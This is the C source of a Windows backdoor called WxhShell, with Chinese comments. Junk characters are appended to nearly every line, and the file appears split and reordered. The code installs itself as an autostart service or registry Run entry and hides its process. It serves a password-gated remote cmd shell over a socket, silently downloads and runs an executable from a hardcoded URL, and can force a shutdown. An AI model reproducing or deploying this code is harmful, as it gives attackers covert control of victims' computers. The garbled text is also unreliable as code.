  // 关机 3fj4%P"  
  case 'd': { M3\AY30L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [,Gg^*umS  
    if(Boot(SHUTDOWN)) HPl<%%TI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^qs $v06  
    else { )A6<c%d =x  
    closesocket(wsh); t.<i:#rj>l  
    ExitThread(0); 9[4xFE?|  
    } pK*TE5]  
    break; E GU2fA7x  
    } z/-=%g >HA  
  // 获取shell aE8VZ8tvq  
  case 's': { BPrt'Nc  
    CmdShell(wsh); { 6il`>=C  
    closesocket(wsh); *4'"2"  
    ExitThread(0); @ArSC  
    break; Jy)/%p~  
  } O.? JmE  
  // 退出 Gc?a+T  
  case 'x': { _BufO7 `.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YK_ 7ip.a[  
    CloseIt(wsh); )~>YH*g  
    break; L(-4w+  
    } 00(\ZUj  
  // 离开 VY-EmbkG-t  
  case 'q': { =X}J6|>X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .-zom~N-?  
    closesocket(wsh); &oNAv-m^GD  
    WSACleanup(); Rq-ZL{LR7  
    exit(1); -"x$ZnHU  
    break; ]Wup/o  
        } 0GwR~Z}Z  
  } 43cE`9~  
  } CIWO7bS  
! nx{ X  
  // 提示信息 0GLM(JmK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gv&V|7-f0  
} WJi]t93  
  } %d @z39-;  
ctQ/wrkU  
  return; CpN>p.kM  
} P}iE+Z 3  
G@0&8  
// shell模块句柄 V`5 O{Gg  
int CmdShell(SOCKET sock) +@UV?"d  
{ )J |6-C  
STARTUPINFO si; Z+SRXKQ  
ZeroMemory(&si,sizeof(si)); \U0Q<ot/7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y =@N|f!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZSw.U:ep$s  
PROCESS_INFORMATION ProcessInfo; 6)J#OKZ  
char cmdline[]="cmd"; st*gs-8jJ;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /v}`l  
  return 0; *8q.YuZ  
} +ZYn? #IQ  
!D6]JPX  
// 自身启动模式 qs6aB0ln  
int StartFromService(void) %<5'=t'|-U  
{ |Tw~@kT@  
typedef struct AA_%<zK  
{ 7)m9"InDI  
  DWORD ExitStatus; 1C.VnzRnJ  
  DWORD PebBaseAddress; :UdF  
  DWORD AffinityMask; }Z>)DN=+  
  DWORD BasePriority; `oJ [u:b  
  ULONG UniqueProcessId; 2%1hdA<  
  ULONG InheritedFromUniqueProcessId; pAEx#ck  
}   PROCESS_BASIC_INFORMATION; :k"]5>(^  
Dq xs+  
PROCNTQSIP NtQueryInformationProcess; s2?&!  
L];b< *d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ac6=(B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |ZBw<f  
*:1ey{w:  
  HANDLE             hProcess; y(Td/rY.  
  PROCESS_BASIC_INFORMATION pbi; 9uY'E'm*  
6~{C.No}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zDp2g)  
  if(NULL == hInst ) return 0; a.'*G6~Qgw  
^.tg7%dJ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }G=M2V<L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e!`i3KYn"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !k%#R4*>  
q4q6c")zp  
  if (!NtQueryInformationProcess) return 0; VQI 3G  
K,]=6 Rj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R+|hw;  
  if(!hProcess) return 0; )[  ,A_3E  
g0 [w-?f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Dzlp7Y}  
=sFTxd_"iQ  
  CloseHandle(hProcess); mmsPLv6  
)Z$!PqRw@u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 67TwPvh  
if(hProcess==NULL) return 0; +(*DT9s+  
iE{&*.q_}>  
HMODULE hMod; _|p8M!  
char procName[255]; j|n R "!  
unsigned long cbNeeded;  OSJ$d  
U.TA^S]`g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8fb'yjIC  
>7r!~+B"9'  
  CloseHandle(hProcess); ,[Fb[#Qqb  
l,: F  
if(strstr(procName,"services")) return 1; // 以服务启动 Q&&@v4L   
JRFtsio*  
  return 0; // 注册表启动 )+M0Y_r  
} hSMH,^Io$  
[Q =N n  
// 主模块 {$r[5%L\H  
int StartWxhshell(LPSTR lpCmdLine) 5IN(|B0  
{ F?cK- .  
  SOCKET wsl; }Lv;!  
BOOL val=TRUE; 2tLJU  Z1  
  int port=0; eQ"E   
  struct sockaddr_in door; hcc/=_hA  
N7_"H>O$0U  
  if(wscfg.ws_autoins) Install(); S$3JMFA  
:KN-F86i  
port=atoi(lpCmdLine); 7.T?#;'3  
C?Ucu]cW  
if(port<=0) port=wscfg.ws_port; :LTN!jj  
nm+s{  
  WSADATA data; G`zm@QL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .B yuN  
2%> FR4a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oE~RyS X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OTp]Xe/  
  door.sin_family = AF_INET; fV:83|eQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .o8t+X'G  
  door.sin_port = htons(port); @6d[=!9  
iUwzs&frd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m4& /s  
closesocket(wsl); nie%eC&U  
return 1; Wf<LR3  
} I|J/F}@p  
Mlq.?-QgIL  
  if(listen(wsl,2) == INVALID_SOCKET) { mt`.6Xz~  
closesocket(wsl); h$=2p5'-  
return 1; kl,3IKHa  
} s7EinI{^  
  Wxhshell(wsl); L(o15  
  WSACleanup(); ~4"dweu?  
|M_UQQAB|  
return 0; 8D].MI^  
bi:8(Q$w:`  
} iOdpM{~*  
fQ98(+6  
// 以NT服务方式启动 H:G1BZjq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;wVwX6:ZKr  
{ 7 ?t6UPf  
DWORD   status = 0; ^J d r>@  
  DWORD   specificError = 0xfffffff; v@Ox:wl>  
zT[!o j7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; smLQS+UE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *j-aXN/$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &0f,~ /%Z  
  serviceStatus.dwWin32ExitCode     = 0; _~pbqa,  
  serviceStatus.dwServiceSpecificExitCode = 0; 5PW^j\G-f  
  serviceStatus.dwCheckPoint       = 0; rGkyGz8>  
  serviceStatus.dwWaitHint       = 0; c)tfAD(N8x  
\Roz$t-R|f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x`?3C"N:<  
  if (hServiceStatusHandle==0) return; 4fzZ;2sl}  
akT6^cP^  
status = GetLastError(); >3_Gw4S*H  
  if (status!=NO_ERROR) B ZxvJQ  
{ X jX2]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L-\GHu~)  
    serviceStatus.dwCheckPoint       = 0; EE'!|N3  
    serviceStatus.dwWaitHint       = 0; E"@wek.-  
    serviceStatus.dwWin32ExitCode     = status; = f i$}>\  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z/K{A`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); N&pCx&  
    return; NCx%L-GPi  
  } L6LZC2N+2  
wf $s*|z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; J$!iq|  
  serviceStatus.dwCheckPoint       = 0; '{`$#@a.  
  serviceStatus.dwWaitHint       = 0; $kKjgQ S(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eY\y E"3  
} f9;(C4+  
1QJL .  
// 处理NT服务事件,比如:启动、停止 BUR*n;V`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QIgNsz  
{ _[y/Y\{I  
switch(fdwControl) iIogx8[  
{ _y3Xb`0a  
case SERVICE_CONTROL_STOP: Lk$B{2^n  
  serviceStatus.dwWin32ExitCode = 0; Z<4AL\l 98  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^I)N. 5  
  serviceStatus.dwCheckPoint   = 0; _~ &iq1  
  serviceStatus.dwWaitHint     = 0; <9%R\_@$H  
  { g[t [/TV   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BSMwdr  
  } V_:&S2j  
  return; :hV7> rr  
case SERVICE_CONTROL_PAUSE: S@Hf &hJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )Beiu*  
  break; ?rup/4|  
case SERVICE_CONTROL_CONTINUE: 3&/Ixm:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ${)b[22":  
  break; #=v~8  
case SERVICE_CONTROL_INTERROGATE: Y DFyX){  
  break; (khL-F  
}; F:l%O#V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uH-)y,2&  
} BCcjK6'  
3Hm/(C  
// 标准应用程序主函数 7`YEH2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lPJ\-/>$z  
{ l$'wDhN*  
|a%Tp3Q~  
// 获取操作系统版本 V/;B3t~f  
OsIsNt=GetOsVer(); .% OR3"9@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z: 7fV5b(  
TuYCR>P[  
  // 从命令行安装 #!m.!? O  
  if(strpbrk(lpCmdLine,"iI")) Install(); (3&?wy_l  
;Q&5,< N)j  
  // 下载执行文件 h65-s  
if(wscfg.ws_downexe) { -Vhw^T1iV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &=k,?TJO>  
  WinExec(wscfg.ws_filenam,SW_HIDE); ilva,WFa^  
} fg{n(TE"8  
X~i<g?]  
if(!OsIsNt) { hiw|2Y&`  
// 如果时win9x,隐藏进程并且设置为注册表启动 pO.2<  
HideProc(); [66! bM&  
StartWxhshell(lpCmdLine); uXq. ]ub  
} gl_^V&c  
else TNr :pE<  
  if(StartFromService()) 4 N7^?  
  // 以服务方式启动 eNu7~3k}  
  StartServiceCtrlDispatcher(DispatchTable); Jdp3nzM^^@  
else :Xd<74Nu  
  // 普通方式启动 {GcO3G#FZ  
  StartWxhshell(lpCmdLine); ,i@:5X/t  
Z87|Zl  
return 0; >6pf$0  
} dw7$Vh0y  
~F?u)~QZ #  
!7&5` q7  
0nD/;\OU  
=========================================== tlt*fH$ .  
o7LuKRl   
@jlw_ob2g  
bNoW?8bZ  
z%LIX^q9  
HgkC~'  
" 5lT*hF  
4X(H ;  
#include <stdio.h> C C^'@~)?  
#include <string.h> |qZ1|  
#include <windows.h> AZ}Xj>=  
#include <winsock2.h> Bn g@-#`/  
#include <winsvc.h> 5-xX8-ElYz  
#include <urlmon.h> x~j`@k,;  
;l-!)0 U  
#pragma comment (lib, "Ws2_32.lib") w(TJ*::T  
#pragma comment (lib, "urlmon.lib") QW~1%`  
V}NbuvDB@  
#define MAX_USER   100 // 最大客户端连接数 'anG:=  
#define BUF_SOCK   200 // sock buffer lR6x3C H@  
#define KEY_BUFF   255 // 输入 buffer +|>kCtZH%  
}k G9!sf  
#define REBOOT     0   // 重启 we?76t:-  
#define SHUTDOWN   1   // 关机 VgC2+APg  
p`#R<K  
#define DEF_PORT   5000 // 监听端口 M|(Q0 _8  
q,U+qt  
#define REG_LEN     16   // 注册表键长度 f! .<$ih  
#define SVC_LEN     80   // NT服务名长度 _aMPa+D=P  
Yr=Y@~ XL  
// 从dll定义API h@]XBv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r s?R:+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ktm4 A O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c#tjp(-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y.ToIka{  
A^EE32kbm  
// wxhshell配置信息 1,!(0 5H  
struct WSCFG { W#C*5@8  
  int ws_port;         // 监听端口  XJ5 .  
  char ws_passstr[REG_LEN]; // 口令 rkY[E(SY  
  int ws_autoins;       // 安装标记, 1=yes 0=no m&?r%x  
  char ws_regname[REG_LEN]; // 注册表键名 A1?2*W  
  char ws_svcname[REG_LEN]; // 服务名 ;H.^i|_/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZH)="qx [  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JNUt$h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 zeC RK+-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u4%Pca9(=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y6L ~K?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W$ 2C47i  
 3 +fp2  
}; tWa) _y  
:s6o"VkW  
// default Wxhshell configuration r[Hc>wBv  
struct WSCFG wscfg={DEF_PORT, t; {F%9j{  
    "xuhuanlingzhe", Q=20IQp  
    1, z4]api(xZ  
    "Wxhshell", jc f #6   
    "Wxhshell", EeRX+BM,  
            "WxhShell Service", c[1oww  
    "Wrsky Windows CmdShell Service", BV upDGh3  
    "Please Input Your Password: ", !*. -`$x  
  1, V2|aN<Sx<  
  "http://www.wrsky.com/wxhshell.exe", [ $n_6  
  "Wxhshell.exe" <r`2)[7N  
    }; zY!j:FT1HY  
VsE9H]v   
// 消息定义模块 vV e';|8v  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Ab"@714@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xzZ38xIhV  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o;R2p $  
char *msg_ws_ext="\n\rExit."; hL;(C) (  
char *msg_ws_end="\n\rQuit."; FXN/Yq  
char *msg_ws_boot="\n\rReboot..."; ><$d$(  
char *msg_ws_poff="\n\rShutdown..."; in-HUG  
char *msg_ws_down="\n\rSave to "; "#oHYz3D  
dl@%`E48w  
char *msg_ws_err="\n\rErr!"; ouFYvtFg  
char *msg_ws_ok="\n\rOK!"; ]cMqahaY  
f-n1I^|  
char ExeFile[MAX_PATH]; * 8_wYYH  
int nUser = 0; R1GEh&U{  
HANDLE handles[MAX_USER]; 4X |(5q?  
int OsIsNt; os={PQRD  
g($DdKc|g  
SERVICE_STATUS       serviceStatus; CZI66pDy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |NC*7/}  
1@1U/ss1  
// 函数声明 =i*;VFc  
int Install(void); 0dh aAq`k  
int Uninstall(void); usCt#eZK  
int DownloadFile(char *sURL, SOCKET wsh); 4k_vdz  
int Boot(int flag); .QJ5sgmh  
void HideProc(void); c~uKsU  
int GetOsVer(void); 4 f'V8|QM{  
int Wxhshell(SOCKET wsl); ,+xB$e  
void TalkWithClient(void *cs); c>RFdc:U  
int CmdShell(SOCKET sock); F!Q@ u  
int StartFromService(void);  jQ  
int StartWxhshell(LPSTR lpCmdLine); CtAwBQO  
u5 : q$P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r^paD2&}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~%=MpQ3  
gSUcx9f]  
// 数据结构和表定义 hB>oJC  
SERVICE_TABLE_ENTRY DispatchTable[] = fNt`?pW H  
{ {~s DYRX  
{wscfg.ws_svcname, NTServiceMain}, A}N?/{y)G  
{NULL, NULL} I3mGo  
}; lXiKY@R#  
P5nO78  
// 自我安装 ime\f*Fg  
int Install(void) ua]o6GlO  
{ _EMwm&!  
  char svExeFile[MAX_PATH]; $?<Z!*x  
  HKEY key; \uC15s<  
  strcpy(svExeFile,ExeFile); u!X|A`o5i  
qHrA%k^!2O  
// 如果是win9x系统,修改注册表设为自启动 NzSoqh{R  
if(!OsIsNt) { F,dx2ZPIs?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5^lxj~ F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V7P&%oz{C  
  RegCloseKey(key); au=o6WRa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hx*;jpy(2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tEKmy7'#  
  RegCloseKey(key); }w<7.I  
  return 0; S.m{eur!,E  
    } ,J>5:ht(6  
  } 3.W@ }   
} 3#&7-o  
else { | >htvDL  
LBsluT  
// 如果是NT以上系统,安装为系统服务 Vz~nT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (Cd\G=PK  
if (schSCManager!=0) VG5+CU  
{ PuT@}tw  
  SC_HANDLE schService = CreateService l q&wXi  
  ( 7Ka l"Ew  
  schSCManager, 0F|AA"mMT  
  wscfg.ws_svcname, !~&R"2/  
  wscfg.ws_svcdisp, .5,(_p^  
  SERVICE_ALL_ACCESS, hKjt'N:~ZY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s6zNV4  
  SERVICE_AUTO_START, `_{`l4i 5  
  SERVICE_ERROR_NORMAL, -VTkG]{`Ir  
  svExeFile, 'BPp ]R#{  
  NULL, 7MHKeLq  
  NULL, &LVn6zAba  
  NULL, M&U j^K1  
  NULL, 3]UUG  
  NULL RUT,Y4 b  
  ); U,q\em R  
  if (schService!=0) 7C ,UDp|  
  { .wu xoq  
  CloseServiceHandle(schService); w1#gOwA,$  
  CloseServiceHandle(schSCManager); ?zVL;gVWA  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;u(<h?%e  
  strcat(svExeFile,wscfg.ws_svcname); M8Z2Pg\0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "WK{ >T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o=?C&f{  
  RegCloseKey(key); 5HO9 +i  
  return 0; h!ZV8yMc  
    } rKf-+6Na  
  } yA(K=?sq  
  CloseServiceHandle(schSCManager); kO{s^_qR^c  
} /)(#{i*  
} [tA;l+Q\&  
^__Dd)(  
return 1; ;R?I4}O#R8  
} RYl>  
cwWodPNm  
// 自我卸载 2e9es  
int Uninstall(void) fKeT~z{~  
{ e9[|!/./5  
  HKEY key; 5qoSEI-m  
ANSFdc  
if(!OsIsNt) { F>[,zN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Uu(zhbj  
  RegDeleteValue(key,wscfg.ws_regname); meks RcF  
  RegCloseKey(key); mPP`xL?T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p>;_e(  
  RegDeleteValue(key,wscfg.ws_regname); 5~WGZc  
  RegCloseKey(key); u[/m|z  
  return 0; q]N:Tpm9  
  } D{4YxR PX  
} )!:Lzi  
} lBFMwJU)  
else { q^L<X)  
(tGY%oT"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 16i "Yg!*  
if (schSCManager!=0) J8)#PY[i4  
{ P7MeX(Tay  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pL%r,Y_^\x  
  if (schService!=0) {=-\|(Bx  
  { IGFR4+  
  if(DeleteService(schService)!=0) { Gkv{~?95  
  CloseServiceHandle(schService); ~Oq +IA~9  
  CloseServiceHandle(schSCManager); X>. NFB  
  return 0; *@)O7vB  
  } R@#G>4  
  CloseServiceHandle(schService); z,bQQ;z9  
  } w MP  
  CloseServiceHandle(schSCManager); 0,rTdjH7  
} 'X !?vK^]p  
} &0(  
[.*;6y3  
return 1; FEW_bP/4  
} 0`A~HH}  
X2i}vjkY  
// 从指定url下载文件 ${nX:!)  
int DownloadFile(char *sURL, SOCKET wsh) 3LTcEd  
{ n` TSu$  
  HRESULT hr; -x4X O`b  
char seps[]= "/"; 0,Y5KE{  
char *token; AT)a :i  
char *file; {$^DMANDx  
char myURL[MAX_PATH]; -yg?V2  
char myFILE[MAX_PATH]; VA%Un,5h  
CZt \JW+"  
strcpy(myURL,sURL); Z)xaJGbw  
  token=strtok(myURL,seps); ld7v3:M  
  while(token!=NULL) R &4Z*?S  
  { -"[<ek  
    file=token; A4?+T+#d  
  token=strtok(NULL,seps); lP!;3iJ B  
  } !\;FNu8_.  
^3FE\V/=  
GetCurrentDirectory(MAX_PATH,myFILE); ;/*6U  
strcat(myFILE, "\\"); -TOIc%  
strcat(myFILE, file); [kgdv6E  
  send(wsh,myFILE,strlen(myFILE),0);  ?k|H3;\  
send(wsh,"...",3,0); =.`qixN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %-AE]-/HI  
  if(hr==S_OK) t"YNgC ^  
return 0; :4T("a5aM  
else gOK\%&S]  
return 1; [e4]"v`N  
`\6?WXk3T  
} rJInj>|{=  
eBO@7F$  
// 系统电源模块 *d',Vuv&[  
int Boot(int flag) d'Axum@  
{ !'*csg  
  HANDLE hToken; ~|AwN [  
  TOKEN_PRIVILEGES tkp; r]Ff{la5  
FG!X"<he  
  if(OsIsNt) { fQ=MJ7l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KyO8A2'U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $VQtwuYt  
    tkp.PrivilegeCount = 1; =FT98H2*|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n7YEG-J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {gaai  
if(flag==REBOOT) { ?[MsQQd~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) tD Cw-  
  return 0; `[YngYw  
} ;eZ#bjw-d  
else { $eBX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `O8b1-1q~  
  return 0; eV cANP  
} nPgeLG"00  
  } W Qc>  
  else { =60~UM  
if(flag==REBOOT) { q(5+xSg"gK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P0-Fc@&Y  
  return 0; CCGV~e+  
} ACK1@eF  
else { }V|{lvt.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ez9k4IO  
  return 0; rqlc2m,<-p  
} ^U8r0]9  
} 9cv]y#  
TV}}dw  
return 1; h`}3h< 8  
} m%8q Zzqk  
DBs*F x[  
// win9x进程隐藏模块 1]T`n/d V  
void HideProc(void) 2 qO3XI  
{ {3Vk p5%l  
U\?g*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g3%t8O/M  
  if ( hKernel != NULL ) ro[Y-o5Q0  
  { Fequm+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;*[9Q'lI*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m2Uc>S  
    FreeLibrary(hKernel); 3?s ?XAh  
  } Bfv.$u00p  
U^Tp6vN d  
return; Pu>N_^  C  
} ^ 2u/n  
d'9:$!oz  
// 获取操作系统版本 9><mp]E4  
int GetOsVer(void) r CRgzC  
{ xDO7A5  
  OSVERSIONINFO winfo; gX?n4Csy'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9%iFV N'  
  GetVersionEx(&winfo); d= ]U_+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0%;146.p  
  return 1; ^aRgMuU  
  else ~ekh1^evu  
  return 0; vY*\R0/a  
} 8S;CFyT\n  
]^\8U2q}  
// 客户端句柄模块 br,+45:  
int Wxhshell(SOCKET wsl) xqHL+W  
{ m$$?icA  
  SOCKET wsh; h.whjiCFa  
  struct sockaddr_in client; *xM/ ;)  
  DWORD myID; zG c[Z3N  
?&l)W~S  
  while(nUser<MAX_USER) 7nHTlI1 b  
{ )-/gLZsx  
  int nSize=sizeof(client); cub <G!K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^`qPs/b  
  if(wsh==INVALID_SOCKET) return 1; em]xtya  
i3 )xX@3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v&MU=Tcqi  
if(handles[nUser]==0) r5/R5Ga^  
  closesocket(wsh); u>Ki$xP1  
else ZZ)G5ji  
  nUser++; swpnuuC-  
  } "L2m-e6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;' e@t8i6  
czBi Dk4  
  return 0; xUYow  
} #cwCocw  
Nl8 gK{  
// 关闭 socket /CT(k1>  
void CloseIt(SOCKET wsh) *[kxF*^  
{ [B?z1z8l  
closesocket(wsh); ?Cci:Lin  
nUser--; O(OmGu4%  
ExitThread(0); n!N\zx8  
} LN!W(n(  
/b.oEGqZX  
// 客户端请求句柄 Y&'8VdW  
void TalkWithClient(void *cs) 8 HoP( +?  
{ qvLDfN  
i|\{\d  
  SOCKET wsh=(SOCKET)cs; @5}gsC  
  char pwd[SVC_LEN]; S@:B6](D$  
  char cmd[KEY_BUFF]; U 0ZB^`  
char chr[1]; [l[{6ZXt  
int i,j; "'eWn6O(  
<4D%v"zRP  
  while (nUser < MAX_USER) { hr U :Wr  
Vf{2dZZ{1  
if(wscfg.ws_passstr) { sS,#0Qt.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R.7#zhC`4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a%~yol0wO7  
  //ZeroMemory(pwd,KEY_BUFF); u+% tPe  
      i=0; $+:(f{Va*  
  while(i<SVC_LEN) { ` X+j2TmS  
nN ~GP"}  
  // 设置超时 [a8+(  
  fd_set FdRead; }#aKFcvg  
  struct timeval TimeOut; > x'bZ]gm  
  FD_ZERO(&FdRead); =[(1my7  
  FD_SET(wsh,&FdRead); wR7aQg  
  TimeOut.tv_sec=8; c d%hW  
  TimeOut.tv_usec=0; _@ i>s,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AQci,j"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o?!uX|Fy  
0MpS4tW0=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~+m,im8}  
  pwd=chr[0]; 9)Yw :  
  if(chr[0]==0xd || chr[0]==0xa) { 6D9o08  
  pwd=0; hmGdjw t$  
  break; <7g Ml  
  } [(c L/_  
  i++; ,z66bnjO  
    } PqhlXqX9  
!s-/0ugZ  
  // 如果是非法用户,关闭 socket A! ;meVUs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MCAXt1sL&E  
} Jf+7"![|  
UpeQOC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q$^<zY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M1uP\Sa  
"3t\em!  
while(1) { ;? 8Iys#  
{aJz. `u\  
  ZeroMemory(cmd,KEY_BUFF); z]>9nv`b  
{mYx  
      // 自动支持客户端 telnet标准   ma7fDo0,`h  
  j=0; <R~KM=rL  
  while(j<KEY_BUFF) { Cj$H[K}>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d[U1.SNL  
  cmd[j]=chr[0]; tQ0=p| T]  
  if(chr[0]==0xa || chr[0]==0xd) { ]hUKuef  
  cmd[j]=0; ? -{IsF^  
  break; )[DpK=[N^p  
  } cMtJy"kK  
  j++; Mw|SH;nM  
    } #KJZR{  
N<b D  
  // 下载文件 n1)'cS5}  
  if(strstr(cmd,"http://")) { gX"T*d>y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kv%)K'fU4  
  if(DownloadFile(cmd,wsh)) w)<4>(D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m~Me^yt>}  
  else nh|EZp]  
